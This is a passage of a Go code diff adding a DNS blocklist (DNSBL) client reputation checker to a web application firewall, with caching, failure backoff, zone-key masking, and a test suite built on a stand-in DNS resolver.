+)
+
+// Verdict is what a zone said about a client, as reputation.json holds
+// it: the zone, the client's address, whether the zone lists it, and when
+// the zone answered.
+type Verdict struct {
+	Zone    string     `json:"zone"`
+	Client  netip.Addr `json:"client"`
+	Listed  bool       `json:"listed"`
+	Fetched time.Time  `json:"fetched"`
+}
+
+// DNSBLParams are what NewDNSBL needs.
+type DNSBLParams struct {
+	// Zones are the DNSBL zones clients are asked about in
+	// (SWWAF_DNSBL_ZONES).
+	Zones []string
+	// Resolver is the resolver they are asked through
+	// (SWWAF_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
+	// host's, as /etc/resolv.conf names it.
+	Resolver netip.AddrPort
+	// CacheTTL is how long a verdict is used after it was fetched
+	// (SWWAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take
+	// (SWWAF_REPUTATION_TIMEOUT).
+	CacheTTL time.Duration
+	Timeout  time.Duration
+	// Now tells the time, normally time.Now in UTC.
+	Now func() time.Time
+	// ProcessLog receives each query that fails, and why.
+	ProcessLog *slog.Logger
+	// Alerts receive a source_failure alert for each query that fails.
+	Alerts *alerts.Queue
+}
+
+// DNSBL asks the DNSBL zones about clients, in the background, and keeps
+// their verdicts. It is safe for concurrent use.
+type DNSBL struct {
+	params   DNSBLParams
+	resolver *net.Resolver
+
+	mu sync.Mutex
+	// verdicts are by query. Each is added as it is fetched and never moved
+	// up, so that the one fetched longest ago is the first dropped.
+	verdicts *simplelru.LRU[query, Verdict]
+	// asking are the queries under way.
+	asking map[query]bool
+	// queries and failures count, by zone, the queries made and those that
+	// failed, and retryAt is when a zone whose last query failed may be
+	// asked again.
+	queries  map[string]int
+	failures map[string]int
+	retryAt  map[string]time.Time
+}
+
+// query is a client's address, to ask a zone about.
+type query struct {
+	zone   string
+	client netip.Addr
+}
+
+// NewDNSBL returns a DNSBL with no verdict yet.
+func NewDNSBL(params DNSBLParams) *DNSBL {
+	verdicts, err := simplelru.NewLRU[query, Verdict](maxVerdicts, nil)
+	if err != nil {
+		panic(err) // NewLRU fails only for a size below one
+	}
+
+	resolver := &net.Resolver{}
+	if params.Resolver.IsValid() {
+		// Dial is used by Go's own resolver alone.
+		resolver.PreferGo = true
+		resolver.Dial = func(ctx context.Context, network, _ string) (net.Conn, error) {
+			var dialer net.Dialer
+
+			return dialer.DialContext(ctx, network, params.Resolver.String())
+		}
+	}
+
+	return &DNSBL{
+		params:   params,
+		resolver: resolver,
+		verdicts: verdicts,
+		asking:   map[query]bool{},
+		queries:  map[string]int{},
+		failures: map[string]int{},
+		retryAt:  map[string]time.Time{},
+	}
+}
+
+// Zones returns the zones, in the order SWWAF_DNSBL_ZONES names them.
+func (d *DNSBL) Zones() []string {
+	return slices.Clone(d.params.Zones)
+}
+
+// ListedBy returns the zones whose verdict on addr, a client's address,
+// lists it, in the order SWWAF_DNSBL_ZONES names them, each with its key
+// masked, as config.MaskZoneKey masks it, since they go to the request
+// log, the alerts and the metrics. A verdict is used until CacheTTL has
+// passed since it was fetched. Each zone without one is asked about addr
+// in the background, unless a query about addr to it is under way, the
+// zone is left alone after a failure, or maxQueries are under way;
+// ListedBy never waits for a query. ctx is the context of the client's
+// request, and a query goes on after the request ends.
+func (d *DNSBL) ListedBy(ctx context.Context, addr netip.Addr) []string {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	now := d.params.Now()
+
+	var listedBy []string
+
+	for _, zone := range d.params.Zones {
+		q := query{zone: zone, client: addr}
+
+		kept, found := d.verdicts.Peek(q)
+
+		switch {
+		case found && now.Sub(kept.Fetched) < d.params.CacheTTL:
+			if kept.Listed {
+				listedBy = append(listedBy, config.MaskZoneKey(zone))
+			}
+		case !d.asking[q] && !now.Before(d.retryAt[zone]) && len(d.asking) < maxQueries:
+			d.asking[q] = true
+			d.queries[zone]++
+
+			go d.ask(context.WithoutCancel(ctx), q)
+		}
+	}
+
+	return listedBy
+}
+
+// Queries returns how many queries were made to zone.
+func (d *DNSBL) Queries(zone string) int {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	return d.queries[zone]
+}
+
+// Failures returns how many queries to zone failed.
+func (d *DNSBL) Failures(zone string) int {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	return d.failures[zone]
+}
+
+// Snapshot returns every verdict still in use, sorted by client, then by
+// zone, as reputation.json lists them.
+func (d *DNSBL) Snapshot() []Verdict {
+	d.mu.Lock()
+
+	now := d.params.Now()
+	verdicts := make([]Verdict, 0, d.verdicts.Len())
+
+	for _, kept := range d.verdicts.Values() {
+		if now.Sub(kept.Fetched) < d.params.CacheTTL {
+			verdicts = append(verdicts, kept)
+		}
+	}
+
+	d.mu.Unlock()
+
+	slices.SortFunc(verdicts, func(a, b Verdict) int {
+		return cmp.Or(a.Client.Compare(b.Client), strings.Compare(a.Zone, b.Zone))
+	})
+
+	return verdicts
+}
+
+// Load keeps verdicts, read from reputation.json, in place of those it
+// keeps, but for those of a zone SWWAF_DNSBL_ZONES does not name, and,
+// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
+// more is neither used nor written, as for any verdict.
+func (d *DNSBL) Load(verdicts []Verdict) {
+	verdicts = slices.Clone(verdicts)
+	slices.SortStableFunc(verdicts, func(a, b Verdict) int {
+		return a.Fetched.Compare(b.Fetched)
+	})
+
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	d.verdicts.Purge()
+
+	for _, kept := range verdicts {
+		if slices.Contains(d.params.Zones, kept.Zone) {
+			d.verdicts.Add(query{zone: kept.Zone, client: kept.Client}, kept)
+		}
+	}
+}
+
+// ask asks q's zone about q's client, keeps the verdict, and notes the
+// query as no longer under way. A query that fails gives no verdict: it
+// is counted, logged and raised as a source_failure alert, which show the
+// zone with its key masked, and the zone is not asked again for
+// failureDelay.
+func (d *DNSBL) ask(ctx context.Context, q query) {
+	listed, err := d.lookUp(ctx, q)
+	now := d.params.Now()
+
+	d.mu.Lock()
+
+	delete(d.asking, q)
+
+	if err == nil {
+		d.verdicts.Add(q, Verdict{
+			Zone: q.zone, Client: q.client, Listed: listed, Fetched: now,
+		})
+	} else {
+		d.failures[q.zone]++
+		d.retryAt[q.zone] = now.Add(failureDelay)
+	}
+
+	d.mu.Unlock()
+
+	if err != nil {
+		const failed = "asking a DNSBL zone failed"
+
+		shown := config.MaskZoneKey(q.zone)
+
+		// Raised before it is logged, so that the alert is there once the
+		// log line is.
+		raiseFailure(d.params.Alerts, failed, shown, err)
+		d.params.ProcessLog.Warn(failed, "zone", shown, "error", err.Error())
+	}
+}
+
+// lookUp asks q's zone about q's client through the resolver, and returns
+// whether the zone lists it, as readAnswer reads the answer. No such name
+// is a client the zone does not list. A query not answered within Timeout
+// fails.
+func (d *DNSBL) lookUp(ctx context.Context, q query) (bool, error) {
+	ctx, cancel := context.WithTimeout(ctx, d.params.Timeout)
+	defer cancel()
+
+	answer, err := d.resolver.LookupNetIP(ctx, "ip4", queryName(q.zone, q.client))
+
+	var dnsErr *net.DNSError
+
+	switch {
+	case err == nil:
+		return readAnswer(answer)
+	case errors.As(err, &dnsErr) && dnsErr.IsNotFound:
+		return false, nil
+	case errors.As(err, &dnsErr):
+		// The error names the name asked about, which holds the client's
+		// address, which is not to be logged: only what went wrong is kept.
+		return false, fmt.Errorf("%w: %s", errAsk, dnsErr.Err)
+	default:
+		return false, fmt.Errorf("%w: %w", errAsk, err)
+	}
+}
+
+// queryName returns the name a zone is asked about addr by, as RFC 5782
+// builds it: the four numbers of an IPv4 address, or the 32 hex digits of
+// an IPv6 address, in reverse order, each followed by a dot, then the zone
+// and a dot, which makes it a full name, to which the resolver adds no
+// search domain of /etc/resolv.conf.
+func queryName(zone string, addr netip.Addr) string {
+	parts := strings.Split(addr.String(), ".")
+	if addr.Is6() {
+		parts = strings.Split(hex.EncodeToString(addr.AsSlice()), "")
+	}
+
+	slices.Reverse(parts)
+
+	return strings.Join(parts, ".") + "." + zone + "."
+}
+
+// readAnswer reads the addresses a zone answered with. An address in
+// 127.0.0.0/8 lists the client, as RFC 5782 has zones answer, but one in
+// 127.255.255.0/24 is how Spamhaus refuses a query, such as one sent
+// through a public resolver or one past its limit, and is a failure. So is
+// an address outside 127.0.0.0/8, such as a resolver gives that answers
+// even for names that do not exist.
+func readAnswer(answer []netip.Addr) (bool, error) {
+	listing := netip.MustParsePrefix("127.0.0.0/8")
+	refusal := netip.MustParsePrefix("127.255.255.0/24")
+
+	for _, addr := range answer {
+		switch {
+		case refusal.Contains(addr):
+			return false, fmt.Errorf("%w: %s", errRefused, addr)
+		case !listing.Contains(addr):
+			return false, fmt.Errorf("%w: %s", errNotListing, addr)
+		}
+	}
+
+	return len(answer) > 0, nil
+}

internal/reputation/dnsbl_test.go

@@ -0,0 +1,737 @@
+package reputation_test
+
+import (
+	"bytes"
+	"context"
+	"encoding/binary"
+	"errors"
+	"io"
+	"log/slog"
+	"net"
+	"net/http"
+	"net/http/httptest"
+	"net/netip"
+	"reflect"
+	"slices"
+	"strings"
+	"sync"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/metrics"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+)
+
+// The tests of the DNSBL zones run in synctest bubbles, as those of the
+// lists do, and the resolver the zones are asked through is a stand-in
+// reached through an in-memory connection, net.Pipe's, for the same
+// reason. They run one at a time, none in parallel with another test of
+// this package: Go's resolver counts the queries under way in one
+// sync.WaitGroup for the whole process, and the process fails when
+// queries from two bubbles, or from a bubble and from outside one, are
+// under way at once. TestMain has the resolver make its configuration,
+// which it makes on its first query, outside every bubble, since the
+// configuration holds a channel, which the bubble it was made in would
+// keep to itself.
+
+const (
+	// zone and otherZone are the DNSBL zones the tests name.
+	zone      = "dnsbl.example"
+	otherZone = "other.example"
+	// cacheTTL is the tests' SWWAF_REPUTATION_CACHE_TTL, and timeout their
+	// SWWAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
+	// can have Go's resolver wait for one server, so that it is the
+	// DNSBL's own timeout that ends a query, whatever that file says.
+	cacheTTL = 24 * time.Hour
+	timeout  = time.Second
+	// listed and unlisted are clients zone is asked about by the names
+	// listedName and unlistedName, and most tests have zone list the first
+	// alone, by answering with listing.
+	listed       = "192.0.2.99"
+	unlisted     = "192.0.2.100"
+	listedName   = "99.2.0.192." + zone + "."
+	unlistedName = "100.2.0.192." + zone + "."
+	listing      = "127.0.0.2"
+)
+
+// The DNS response codes the stand-in answers with, besides no error.
+const (
+	serverFailure = 2
+	noSuchName    = 3
+	refused       = 5
+)
+
+var errNoNetwork = errors.New("the test dials nothing")
+
+func TestMain(m *testing.M) {
+	// A query that fails at once, as nothing is dialled for it.
+	resolver := &net.Resolver{
+		PreferGo: true,
+		Dial: func(context.Context, string, string) (net.Conn, error) {
+			return nil, errNoNetwork
+		},
+	}
+	_, _ = resolver.LookupNetIP(context.Background(), "ip4", "warm-up.invalid.")
+
+	m.Run()
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestZonesListOrNotClientsByTheirIPv4AndIPv6Addresses(t *testing.T) {
+	synctest.Test(t, func(t *testing.T) {
+		// The addresses of the examples of RFC 5782, and the names it
+		// gives for them.
+		const (
+			v4 = "192.0.2.99"
+			v6 = "2001:db8:1:2:3:4:567:89ab"
+			// v6Name is the hex digits of v6, in reverse order.
+			v6Name = "b.a.9.8.7.6.5.0.4.0.0.0.3.0.0.0.2.0.0.0.1.0.0.0.8.b.d.0.1.0.0.2."
+		)
+
+		resolver := &resolverStandIn{answers: map[string]answer{
+			"99.2.0.192." + zone + ".":      {addrs: []string{listing}},
+			v6Name + otherZone + ".":        {addrs: []string{"127.0.0.4", "127.0.0.10"}},
+			"99.2.0.192." + otherZone + ".": {},
+		}}
+		dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
+
+		// Neither client has a verdict yet, so neither is listed, and each
+		// zone is asked about each.
+		wantZones(t, dnsbl, v4)
+		wantZones(t, dnsbl, v6)
+		synctest.Wait()
+
+		wantZones(t, dnsbl, v4, zone)
+		wantZones(t, dnsbl, v6, otherZone)
+		wantAsked(t, resolver,
+			"99.2.0.192."+zone+".", "99.2.0.192."+otherZone+".",
+			v6Name+zone+".", v6Name+otherZone+".")
+	})
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestListedByNeverWaitsForAQuery(t *testing.T) {
+	synctest.Test(t, func(t *testing.T) {
+		dnsbl := newDNSBL(&resolverStandIn{hanging: true}, dnsblParams(zone))
+		began := time.Now()
+
+		// The second, while the first's query is under way, starts none.
+		wantZones(t, dnsbl, listed)
+		wantZones(t, dnsbl, listed)
+
+		if waited := time.Since(began); waited != 0 {
+			t.Errorf("waited %s for the query, want no wait", waited)
+		}
+
+		synctest.Wait()
+		wantQueries(t, dnsbl, 1, 0)
+		waitForTheResolver()
+	})
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
+	synctest.Test(t, func(t *testing.T) {
+		resolver := &resolverStandIn{answers: map[string]answer{
+			listedName: {addrs: []string{listing}},
+		}}
+		dnsbl := newDNSBL(resolver, dnsblParams(zone))
+
+		wantZones(t, dnsbl, listed)
+		wantZones(t, dnsbl, unlisted)
+		synctest.Wait()
+
+		// The zone lists the other client from now on, but the verdicts
+		// kept are used, and the zone is not asked again, until the TTL
+		// has passed.
+		resolver.set(listedName, answer{rcode: noSuchName})
+		resolver.set(unlistedName, answer{addrs: []string{listing}})
+		time.Sleep(cacheTTL - time.Nanosecond)
+
+		wantZones(t, dnsbl, listed, zone)
+		wantZones(t, dnsbl, unlisted)
+		synctest.Wait()
+		wantQueries(t, dnsbl, 2, 0)
+
+		// Then neither verdict is used, and both clients are asked about
+		// again.
+		time.Sleep(time.Nanosecond)
+		wantZones(t, dnsbl, listed)
+		wantZones(t, dnsbl, unlisted)
+		synctest.Wait()
+
+		wantQueries(t, dnsbl, 4, 0)
+		wantZones(t, dnsbl, listed)
+		wantZones(t, dnsbl, unlisted, zone)
+	})
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestQueryNotAnsweredWithinTheTimeoutFails(t *testing.T) {
+	synctest.Test(t, func(t *testing.T) {
+		queue := newQueue()
+		p := dnsblParams(zone)
+		p.Alerts = queue
+		dnsbl := newDNSBL(&resolverStandIn{hanging: true}, p)
+
+		wantZones(t, dnsbl, listed)
+		time.Sleep(timeout - time.Nanosecond)
+		synctest.Wait()
+		wantQueries(t, dnsbl, 1, 0)
+
+		time.Sleep(time.Nanosecond)
+		synctest.Wait()
+		wantQueries(t, dnsbl, 1, 1)
+
+		if got := waiting(queue); len(got) != 1 ||
+			got[0].Detail["error"] != "ask the zone: i/o timeout" {
+			t.Errorf("alerts waiting %+v, want the timeout's", got)
+		}
+
+		if verdicts := dnsbl.Snapshot(); len(verdicts) != 0 {
+			t.Errorf("verdicts %+v, want none", verdicts)
+		}
+
+		waitForTheResolver()
+	})
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing.T) {
+	for _, tc := range []struct {
+		name   string
+		answer answer
+		error  string
+	}{
+		{
+			"a server failure", answer{rcode: serverFailure},
+			"ask the zone: server misbehaving",
+		},
+		{"a refusal", answer{rcode: refused}, "ask the zone: server misbehaving"},
+		{
+			"an answer in 127.255.255.0/24, with which Spamhaus refuses a query",
+			answer{addrs: []string{"127.255.255.254"}},
+			"the zone refused the query: 127.255.255.254",
+		},
+		{
+			"an answer outside 127.0.0.0/8, as for a name that does not exist",
+			answer{addrs: []string{"192.0.2.1"}},
+			"the answer is outside 127.0.0.0/8: 192.0.2.1",
+		},
+	} {
+		//nolint:paralleltest // one at a time, as the comment at the top of this file says
+		t.Run(tc.name, func(t *testing.T) {
+			synctest.Test(t, func(t *testing.T) {
+				var log bytes.Buffer
+
+				queue := newQueue()
+				p := dnsblParams(zone)
+				p.Alerts = queue
+				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
+				dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
+					listedName: tc.answer,
+				}}, p)
+
+				// The failure gives no verdict, and the zone is not asked
+				// again within a minute of it.
+				wantZones(t, dnsbl, listed)
+				synctest.Wait()
+				time.Sleep(time.Minute - time.Nanosecond)
+				wantZones(t, dnsbl, listed)
+				synctest.Wait()
+				wantQueries(t, dnsbl, 1, 1)
+
+				time.Sleep(time.Nanosecond)
+				wantZones(t, dnsbl, listed)
+				synctest.Wait()
+				wantQueries(t, dnsbl, 2, 2)
+
+				if verdicts := dnsbl.Snapshot(); len(verdicts) != 0 {
+					t.Errorf("verdicts %+v, want none", verdicts)
+				}
+
+				// One alert for the first failure; the cooldown holds back
+				// the second.
+				wantAlert(t, queue, alerts.Alert{
+					Time:   time.Now().Add(-time.Minute),
+					Event:  alerts.EventSourceFailure,
+					Reason: "asking a DNSBL zone failed",
+					Detail: map[string]any{"source": zone, "error": tc.error},
+				})
+
+				if !strings.Contains(log.String(), `"msg":"asking a DNSBL zone failed",`+
+					`"zone":"`+zone+`","error":"`+tc.error) {
+					t.Errorf("logged\n%s\nwant the failures", log.String())
+				}
+			})
+		})
+	}
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestAtMost1000QueriesUnderWay(t *testing.T) {
+	synctest.Test(t, func(t *testing.T) {
+		dnsbl := newDNSBL(&resolverStandIn{hanging: true}, dnsblParams(zone))
+
+		client := netip.MustParseAddr("198.18.0.0")
+		for range 1001 {
+			dnsbl.ListedBy(t.Context(), client)
+			client = client.Next()
+		}
+
+		synctest.Wait()
+		wantQueries(t, dnsbl, 1000, 0)
+		waitForTheResolver()
+	})
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
+	synctest.Test(t, func(t *testing.T) {
+		resolver := &resolverStandIn{answers: map[string]answer{
+			listedName:                      {addrs: []string{listing}},
+			"99.2.0.192." + otherZone + ".": {rcode: serverFailure},
+		}}
+		dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
+		m := metrics.New(1, "app")
+		m.AddReputation(reputation.New(params()), dnsbl)
+
+		wantZones(t, dnsbl, listed)
+		synctest.Wait()
+
+		scraped := httptest.NewRecorder()
+		m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
+			"/", http.NoBody))
+
+		for series, want := range map[string]string{
+			"queries_total" + `{instance="app",source="` + zone + `"}`:       "1",
+			"failures_total" + `{instance="app",source="` + zone + `"}`:      "0",
+			"queries_total" + `{instance="app",source="` + otherZone + `"}`:  "1",
+			"failures_total" + `{instance="app",source="` + otherZone + `"}`: "1",
+		} {
+			line := "\nsmallwebwaf_reputation_" + series + " " + want + "\n"
+			if !strings.Contains(scraped.Body.String(), line) {
+				t.Errorf("metrics\n%s\nwant%s", scraped.Body.String(), line)
+			}
+		}
+	})
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) {
+	const (
+		key    = "abcdefghijklmnopqrstuvwxyz"
+		keyed  = key + ".xbl.dq.spamhaus.net"
+		masked = "********.xbl.dq.spamhaus.net"
+	)
+
+	synctest.Test(t, func(t *testing.T) {
+		var log bytes.Buffer
+
+		queue := newQueue()
+		p := dnsblParams(keyed)
+		p.Alerts = queue
+		p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
+		dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
+			"99.2.0.192." + keyed + ".":  {addrs: []string{listing}},
+			"100.2.0.192." + keyed + ".": {rcode: serverFailure},
+		}}, p)
+		m := metrics.New(1, "app")
+		m.AddReputation(reputation.New(params()), dnsbl)
+
+		// Both clients are asked about before either answer comes, so that
+		// the failure does not keep the zone from the other query.
+		wantZones(t, dnsbl, listed)
+		wantZones(t, dnsbl, unlisted)
+		synctest.Wait()
+		wantZones(t, dnsbl, listed, masked)
+
+		if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked {
+			t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked)
+		}
+
+		scraped := httptest.NewRecorder()
+		m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
+			"/", http.NoBody))
+
+		for name, shown := range map[string]string{
+			"the log": log.String(), "the metrics": scraped.Body.String(),
+		} {
+			if strings.Contains(shown, key) || !strings.Contains(shown, masked) {
+				t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown)
+			}
+		}
+	})
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestVerdictsKeptAcrossARestart(t *testing.T) {
+	synctest.Test(t, func(t *testing.T) {
+		resolver := &resolverStandIn{answers: map[string]answer{
+			listedName: {addrs: []string{listing}},
+		}}
+		dnsbl := newDNSBL(resolver, dnsblParams(zone))
+		fetched := time.Now()
+
+		wantZones(t, dnsbl, unlisted)
+		wantZones(t, dnsbl, listed)
+		synctest.Wait()
+
+		kept := dnsbl.Snapshot()
+
+		want := []reputation.Verdict{
+			{Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: fetched},
+			{Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: fetched},
+		}
+		if !reflect.DeepEqual(kept, want) {
+			t.Errorf("verdicts %+v, want %+v", kept, want)
+		}
+
+		// Restarted an hour later with what reputation.json keeps, it uses
+		// the verdicts, and asks the zone nothing, until the TTL has passed
+		// since they were fetched.
+		time.Sleep(time.Hour)
+
+		restarted := &resolverStandIn{}
+		again := newDNSBL(restarted, dnsblParams(zone))
+		again.Load(kept)
+
+		wantZones(t, again, listed, zone)
+		wantZones(t, again, unlisted)
+		synctest.Wait()
+		wantAsked(t, restarted)
+
+		time.Sleep(cacheTTL - time.Hour)
+		wantZones(t, again, listed)
+		synctest.Wait()
+		wantAsked(t, restarted, listedName)
+	})
+}
+
+func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
+	t.Parallel()
+
+	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
+	p := dnsblParams(zone)
+	p.Now = func() time.Time { return now }
+	dnsbl := reputation.NewDNSBL(p)
+
+	// The last verdict still in use, one fetched a TTL ago, and one of a
+	// zone SWWAF_DNSBL_ZONES does not name.
+	inUse := reputation.Verdict{
+		Zone: zone, Client: netip.MustParseAddr(listed), Listed: true,
+		Fetched: now.Add(-cacheTTL + time.Nanosecond),
+	}
+	stale := reputation.Verdict{
+		Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: now.Add(-cacheTTL),
+	}
+	notNamed := reputation.Verdict{
+		Zone: otherZone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: now,
+	}
+
+	dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse})
+
+	if got := dnsbl.Snapshot(); !reflect.DeepEqual(got, []reputation.Verdict{inUse}) {
+		t.Errorf("verdicts %+v, want only %+v", got, inUse)
+	}
+}
+
+func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
+	t.Parallel()
+
+	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
+	p := dnsblParams(zone)
+	p.Now = func() time.Time { return now }
+	dnsbl := reputation.NewDNSBL(p)
+
+	// 100,001 verdicts, listed by client, as reputation.json lists them,
+	// each fetched a millisecond before the one before it: the last is one
+	// too many.
+	const count = 100001
+
+	verdicts := make([]reputation.Verdict, 0, count)
+
+	client := netip.MustParseAddr("198.18.0.0")
+	for i := range count {
+		verdicts = append(verdicts, reputation.Verdict{
+			Zone: zone, Client: client, Fetched: now.Add(-time.Duration(i) * time.Millisecond),
+		})
+		client = client.Next()
+	}
+
+	dnsbl.Load(verdicts)
+
+	got := dnsbl.Snapshot()
+	if len(got) != count-1 || !slices.Contains(got, verdicts[0]) ||
+		slices.Contains(got, verdicts[count-1]) {
+		t.Errorf("%d verdicts kept, want all but the one fetched longest ago", len(got))
+	}
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestQueriesGoToTheResolverSWWAFDNSBLResolverNames(t *testing.T) {
+	resolver := &resolverStandIn{answers: map[string]answer{
+		listedName: {addrs: []string{listing}},
+	}}
+
+	conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", "127.0.0.1:0")
+	if err != nil {
+		t.Fatalf("listen: %v", err)
+	}
+
+	served := make(chan struct{})
+
+	go func() {
+		resolver.serveUDP(conn)
+		close(served)
+	}()
+
+	t.Cleanup(func() {
+		_ = conn.Close()
+
+		<-served
+	})
+
+	p := dnsblParams(zone)
+	p.Resolver = netip.MustParseAddrPort(conn.LocalAddr().String())
+	// On the real clock: the stand-in answers at once, so only a test
+	// process held up for a whole minute would see the query fail.
+	p.Timeout = time.Minute
+
+	isListed, err := reputation.NewDNSBL(p).LookUp(zone, netip.MustParseAddr(listed))
+	if err != nil || !isListed {
+		t.Errorf("listed %t (%v), want true", isListed, err)
+	}
+
+	wantAsked(t, resolver, listedName)
+}
+
+// resolverStandIn is a stand-in for the resolver the zones are asked
+// through. It answers each query by the name asked about, as answers
+// gives, with no such name for a name answers does not give, and not at
+// all while hanging. It notes each name asked about.
+type resolverStandIn struct {
+	mu      sync.Mutex
+	answers map[string]answer
+	hanging bool
+	names   []string
+}
+
+// answer is how the stand-in answers a name: with an A record of each of
+// addrs, or with the response code rcode, unless it is 0, for no error.
+type answer struct {
+	addrs []string
+	rcode uint16
+}
+
+// What the stand-in reads of a query, and writes in its reply.
+const (
+	// headerLength is the length of a DNS message's header, which the
+	// question follows: its id, its flags, and how many questions,
+	// answers and other records it holds, two bytes each.
+	headerLength = 12
+	// typeAndClass is the length of the type and the class that end a
+	// question, after its name.
+	typeAndClass = 4
+	// replyFlags mark a reply to a query that asked for recursion, which
+	// is available, with no error. The response code goes in their last
+	// four bits.
+	replyFlags = 0x8180
+	// maxMessage is the longest query read over UDP.
+	maxMessage = 1232
+)
+
+// set has the stand-in answer name with given.
+func (s *resolverStandIn) set(name string, given answer) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+
+	s.answers[name] = given
+}
+
+// dial connects Go's resolver to the stand-in through an in-memory
+// connection, on which it sends each query, and reads each reply, after
+// its length, as over TCP.
+func (s *resolverStandIn) dial(context.Context, string, string) (net.Conn, error) {
+	client, server := net.Pipe()
+
+	go s.serve(server)
+
+	return client, nil
+}
+
+// serve answers the queries that come on conn until the resolver closes
+// it.
+func (s *resolverStandIn) serve(conn net.Conn) {
+	defer func() {
+		_ = conn.Close()
+	}()
+
+	for {
+		var length [2]byte
+
+		_, err := io.ReadFull(conn, length[:])
+		if err != nil {
+			return
+		}
+
+		message := make([]byte, binary.BigEndian.Uint16(length[:]))
+
+		_, err = io.ReadFull(conn, message)
+		if err != nil {
+			return
+		}
+
+		reply, answered := s.reply(message)
+		if !answered {
+			continue // the resolver gives up, and closes conn
+		}
+
+		//nolint:gosec // a reply of a few dozen bytes
+		_, err = conn.Write(append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
+			reply...))
+		if err != nil {
+			return
+		}
+	}
+}
+
+// serveUDP answers the queries that come on conn, each in a datagram, as
+// a resolver does, until conn is closed.
+func (s *resolverStandIn) serveUDP(conn net.PacketConn) {
+	message := make([]byte, maxMessage)
+
+	for {
+		n, from, err := conn.ReadFrom(message)
+		if err != nil {
+			return
+		}
+
+		reply, answered := s.reply(message[:n])
+		if answered {
+			_, _ = conn.WriteTo(reply, from)
+		}
+	}
+}
+
+// reply returns the stand-in's reply to message, a query, and false for
+// none, while it hangs. It notes the name asked about.
+func (s *resolverStandIn) reply(message []byte) ([]byte, bool) {
+	// The name is labels, each after its length, ended by a length of 0.
+	var labels []string
+
+	end := headerLength
+	for message[end] != 0 {
+		length := int(message[end])
+		labels = append(labels, string(message[end+1:end+1+length]))
+		end += 1 + length
+	}
+
+	end += 1 + typeAndClass
+	name := strings.Join(labels, ".") + "."
+
+	s.mu.Lock()
+	s.names = append(s.names, name)
+	given, found := s.answers[name]
+	hanging := s.hanging
+	s.mu.Unlock()
+
+	if hanging {
+		return nil, false
+	}
+
+	if !found {
+		given = answer{rcode: noSuchName}
+	}
+
+	// The query's id, the flags, one question, the answers, and no other
+	// records, then the question, as asked.
+	reply := slices.Clone(message[:2])
+	reply = binary.BigEndian.AppendUint16(reply, replyFlags|given.rcode)
+	reply = binary.BigEndian.AppendUint16(reply, 1)
+	//nolint:gosec // a handful of answers
+	reply = binary.BigEndian.AppendUint16(reply, uint16(len(given.addrs)))
+	reply = append(reply, 0, 0, 0, 0)
+	reply = append(reply, message[headerLength:end]...)
+
+	// An A record starts with the name asked about, by a pointer to it in
+	// the question, then its type, A, its class, IN, how long it may be
+	// kept, 60 seconds, and the length of its address, 4 bytes.
+	record := []byte{0xc0, headerLength, 0, 1, 0, 1, 0, 0, 0, 60, 0, 4}
+
+	for _, addr := range given.addrs {
+		reply = append(reply, record...)
+		reply = append(reply, netip.MustParseAddr(addr).AsSlice()...)
+	}
+
+	return reply, true
+}
+
+// dnsblParams returns the DNSBLParams of zones, with the tests' cache TTL
+// and timeout, by the bubble's clock, with alerts to a queue that sends
+// none.
+func dnsblParams(zones ...string) reputation.DNSBLParams {
+	return reputation.DNSBLParams{
+		Zones:      zones,
+		CacheTTL:   cacheTTL,
+		Timeout:    timeout,
+		Now:        time.Now,
+		ProcessLog: slog.New(slog.DiscardHandler),
+		Alerts:     newQueue(),
+	}
+}
+
